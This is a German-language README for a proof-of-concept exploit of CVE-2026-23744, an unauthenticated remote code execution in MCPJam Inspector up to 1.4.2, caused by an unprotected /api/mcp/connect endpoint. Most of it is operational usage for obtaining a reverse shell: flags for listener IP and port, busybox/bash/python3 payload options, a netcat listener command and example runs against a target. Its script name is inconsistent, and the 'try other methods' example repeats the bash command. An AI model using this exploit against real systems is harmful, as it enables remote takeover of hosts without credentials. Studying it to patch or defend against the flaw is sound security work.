
CVE-2026-23744 — Proof-of-Concept-Exploit für eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in MCPJam Inspector <= 1.4.2.
MCPJam Inspector <= 1.4.2 bindet standardmäßig an 0.0.0.0 und stellt /api/mcp/connect ohne jegliche Authentifizierung bereit. Der Endpunkt akzeptiert ein serverConfig-Objekt, das direkt einen Prozess auf dem Host startet — die Übergabe einer Reverse-Shell-Payload ermöglicht sofortige RCE ohne erforderliche Anmeldedaten.
pip install requests
python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]
| Flag | Beschreibung | Standard |
|---|---|---|
-u | Ziel-URL | erforderlich |
-i | Ihre Listener-IP (LHOST) | erforderlich |
-p | Ihr Listener-Port (LPORT) | erforderlich |
-m | Payload-Methode: busybox, bash, python3 | busybox |
Schritt 1 — Starten Sie Ihren Listener:
nc -lvnp 4444
Schritt 2 — Führen Sie den Exploit aus:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
Wenn busybox auf dem Ziel nicht funktioniert, versuchen Sie die anderen Methoden:
# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash
| Software | Anfällig | Behoben |
|---|---|---|
| MCPJam Inspector | <= 1.4.2 | 1.4.3 |